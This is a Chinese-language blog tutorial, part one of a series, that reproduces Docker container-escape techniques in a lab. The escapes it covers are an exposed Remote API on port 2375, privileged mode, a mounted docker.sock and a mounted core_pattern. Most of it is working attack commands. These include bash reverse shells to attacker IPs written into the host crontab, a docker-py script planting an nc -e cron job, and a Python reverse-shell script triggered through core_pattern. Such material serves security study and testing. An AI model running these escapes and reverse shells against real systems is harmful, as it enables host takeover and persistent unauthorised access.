Docker逃逸学习篇一

Grav1ty

Docker逃逸学习篇一

内容目录

docke逃逸之判断1、查看hostname(不太准)2、cat /proc/1/cgroup3、检查根目录下是否存在.dockerenv文件4、搜索docker字样(不推荐使用)1、 Docker Remote API未授权访问逃逸1.1 环境搭建1.2 漏洞复现2、Dokcer之privileged特权模式逃逸2.1 环境搭建2.2 漏洞复现3、挂载Docker Socket逃逸3.1 环境搭建3.2 漏洞复现   4、procfs挂载逃逸      4.1 环境搭建
      4.2 漏洞复现

docke逃逸之判断

如何判断是否在docker容器中

1、查看hostname(不太准)

docker执行hostname后一般都是一串数字。

但是也有可能创建者会修改，所以有时候不太准。2、cat /proc/1/cgroup

这个命令是显示进程1所属的control group (cgroup) 的层次结构。
通过这个命令我们如果看到docker字样，就说明我们应该是在容器中。

3、检查根目录下是否存在.dockerenv文件

• 
  

ls -al /
解释:当Docker容器启动时，Docker引擎会自动在容器根目录下创建这个.dockerenv文件，通常被用来指示当前进程正在 Docker 容器中运行。4、搜索docker字样(不推荐使用)

• 
  

grep -qi docker

在文本中查找是否包含 "docker" 这个单词，但是运行时间太长，不建议使用。

1、 Docker Remote API未授权访问逃逸

docker swarm是一个docker集群管理的工具，在使用docker swarm的时候，默认的2375端口会绑定一个Docker Remote API的服务，由于这个端口默认绑定在了0.0.0.0上，所以导致任何人都可以通过HTTP、Python、调用API来操作Docker。

1.1环境搭建

这里使用的环境是vulhub。
下载地址:

• 
  

https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md

然后，我们这边开启环境。

• 
  

cd vulhub-master/docker/unauthorized-rcedocker-compose builddocker-compose up -d1.2 漏洞复现

靶机(ubuntu)IP:192.168.89.130
通过访问2375端口，发现有回显信息，通过version得到当前环境信息，则说明存在漏洞。

然后我们这边使用kali(192.168.89.128)作为攻击机进行测试。
执行命令:

• 
  

docker -H tcp://192.168.89.130:2375 ps查看目标主机是否存在正在运行的docker容器，我这边是没有的。

所以我们要拉取一个(如果有的话用现有的就可以)。这里我用busybox镜像，因为这个镜像很小，但是命令很全。

• 
  

docker -H tcp://192.168.89.130:2375 pull busybox docker -H tcp://192.168.89.130:2375 images
然后我们以sh或者/bin/bash作为shell启动，并且将该宿主机的根目录挂在到容器的/mnt目录下

• 
  

docker -H tcp://192.168.89.130:2375 run -it -v /:/mnt 8135583d97fe shdocker -H tcp://192.168.89.130:2375 run -it -v /:/mnt 8135583d97fe /bin/bash执行之后会返回一个该容器宿主机的shell
解释:由于使用了 "-v /:/mnt" 参数，它会将主机的根目录 "/" 挂载到容器内的 "/mnt" 目录，从而使得容器内可以访问到主机的文件系统，因此，当进入到这个容器中时，实际上进入的是主机的根目录，而不是容器本身的根目录。也就是说，你实际上是在宿主机上执行了一个交互式的shell会话，而不是运行了一个独立的Docker容器。

这时候我们进入/mnt目录下就相当于进入了宿主机的根目录下。
现在我们就对宿主机的文件有了操作权限，所以我们这边就要拿到宿主机的shell，我们可以选择使用写入ssh公钥，也可以选择计划任务反弹shell。
这里用计划任务反弹shell做个演示，这里我们写将反弹shell命令写到sh中，然后将sh加入到计划任务中执行。(直接写入计划任务反弹shell我没有成功)。

• 
  

cd /mnttouch /mnt/hacker.shecho "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/mnt/hacker.shecho "* * * * * root bash /hacker.sh" >> /mnt/etc/crontab这里有个小坑：默认linux的cron应该是没有开启的，我等了半天也没有等到shell，直到我在宿主机上开启了计划任务。

• 
  

service cron start然后shell就直接过来了。


此外还可以使用其他师傅写的一个脚本，只需要修改一下挂载路径，目标ip和反弹ip和端口就好了。

• 
  

import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})2、Dokcer之privileged特权模式逃逸

Docker 的 --privileged 参数是一种特权模式，允许容器中的进程获得与宿主机相同的权限。
所以我们这边再拉取一个dcoker容器，然后使用特权模式启动。

2.1环境搭建

• 
  

docker pull alpine  #拉取alpine环境docker run -itd --privileged alpine /bin/sh   #以特权模式启动

启动后进入容器

• 
  

docker exec -it b8bb60ef2862 /bin/sh2.2 漏洞复现

在容器内部的时候，我们首先判断我们当前容器是否是特权模式。
例如这个命令就可以进行判断

• 
  

cat /proc/self/status | grep CapEff

cat /proc/self/status 用于查看当前进程的状态信息。
grep CapEff 用于从输出结果中过滤出 CapEff 相关的行
capability 是一种权限机制，利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

执行后发现当前的掩码值为:000001ffffffffff
一般来说，当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候，就可以判定当前容器是特权模式启动。
然后我们查看一下分区情况

• 
  

fdisk -l   #列出所有已经连接到系统上的磁盘和它们的分区信息
可以看到sda5就是宿主机的磁盘。
所以我们接下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了。

• 
  

mkdir /testmount /dev/sda5 /test   #将宿主机磁盘挂载到test目录下。

然后接下来的操作就和上面一样了，因为有了宿主机磁盘的操作权限，所以我们继续写计划任务就可以了。

• 
  

touch /test/test.shecho "bash -i >& /dev/tcp/192.168.89.128/9898 0>&1" >/test/test.shecho "* * * * * root bash /test.sh" >> /test/etc/crontab
一分钟后成功拿到了宿主机shell，可以通过docker ps 验证一下。
3、挂载Docker Socket逃逸

如果在启动docker容器时，将宿主机/var/run/docker.sock文件挂载到docker容器中，在docker容器中，也可以操作宿主机的docker。
解释:docker采用C/S架构，我们平常使用的Docker命令中，docker即为client，Server端的角色由docker daemon扮演，二者之间通信方式有以下3种，使用下面命令，就可以操作目标docker，使用docker命令，操作

• 
  

docker：unix:///var/run/docker.socktcp://host:portfd://socketfd

攻击者通过利用 Docker daemon 与 Dockers Host（宿主机）之间的通信管道 Docker Socket 接口进行提权和攻击。

3.1环境搭建

创建一个容器并挂载 /var/run/docker/sock 文件

• 
  

docker pull ubuntu:16.04docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash3.2 漏洞复现

进入容器后搜索find / -name docker.sock，如果这个文件存在，则说明这个漏洞可能存在。

• 
  

find / -name docker.sock
然后我们在容器内安装Docker作为client

• 
  

apt-get update && apt-get install docker.io
然后我们就可以利用docker.sock查看宿主机中的镜像

• 
  

docker -H unix://var/run/docker.sock images

然后我们在docker容器中，使用命令再运行一个新容器,将宿主机的根目录挂载到alpine的test1目录中，造成docker逃逸。

• 
  

docker -H unix://var/run/docker.sock run -v /:/test1 -it alpine /bin/bash
成功启动新容器并挂载，接下来的就和之前一样了，写入计划任务，反弹shell。
这个漏洞过程大致就是这样：发现存在docker.sock，在A容器(当前所在容器)中利用docker.sock和宿主机的docker进行通信，然后给宿主机发出命令，新启动一个容器B，将宿主机的根目录挂载到B容器中，后续就和之前一样了，操作挂载的宿主机目录进行计划任务写入反弹shell。4、procfs挂载逃逸

procfs是一种特殊的文件系统，它不存储实际的文件，而是提供一个类似于虚拟文件的接口。你可以通过 /proc 目录中的各种文件，查询操作系统内核、进程、硬件设备等信息。
漏洞利用原理:procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式，如果/proc/sys/kernel/core_pattern文件中的首个字符是管道符| ，那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
当利用这种方式进行docker逃逸时，触发条件比较苛刻，需要有进程奔溃才能触发。

4.1 环境配置

启动容器ubuntu:16.04，将/proc/sys/kernel/core_pattern挂载到容器中的/host/proc/sys/kernel/core_pattern位置。

• 
  

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.04
漏洞检测：

• 
  

find / -name core_pattern
如果发现两个core_pattern，那就极有可能是宿主机的core_pattern挂载到了容器中，我们就可以进行漏洞测试了。4.2 漏洞复现

找到当前容器在宿主机下的绝对路径

• 
  

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
当前宿主机绝对路径为:

• 
  

var/lib/docker/overlay2/eeb4a1acc3448e713ce87665ead1a363234168925e31adc6736d07356e862533然后我们需要安装gcc和vim

• 
  

apt-get update -y && apt-get install vim gcc -y
创建一个反弹Shell的py脚本

• 
  

vim /tmp/.t.py#!/usr/bin/python3import  osimport ptyimport socketlhost = "192.168.89.128"lport = 4444def main():   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   s.connect((lhost, lport))   os.dup2(s.fileno(), 0)   os.dup2(s.fileno(), 1)   os.dup2(s.fileno(), 2)   os.putenv("HISTFILE", '/dev/null')   pty.spawn("/bin/bash")   # os.remove('/tmp/.t.py')   s.close()if __name__ == "__main__":   main()

给 Shell 赋予执行权限

• 
  

chmod 777 .t.py

我们修改/host/proc/sys/kernel/core_pattern文件以达到修改宿主机/proc/sys/kernel/core_pattern的目的。

• 
  

echo -e "|var/lib/docker/overlay2/eeb4a1acc3448e713ce87665ead1a363234168925e31adc6736d073/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern
然后在攻击主机上开启一个监听，然后在容器里运行一个可以崩溃的程序

• 
  

vim t.c#include<stdio.h>int main(void)  {   int *a  = NULL;   *a = 1;   return 0;}gcc t.c -o t./t

然而我的shell却迟迟没有回来，我去看了宿主机下的

core_pattern

确实写进去了，有点迷茫。不过[color=rgba(0, 0, 0, 0.85)]一般情况下是不会将宿主机的 procfs 挂载到容器中的，问题不大，下一篇文章复现一下docker逃逸的CVE漏洞。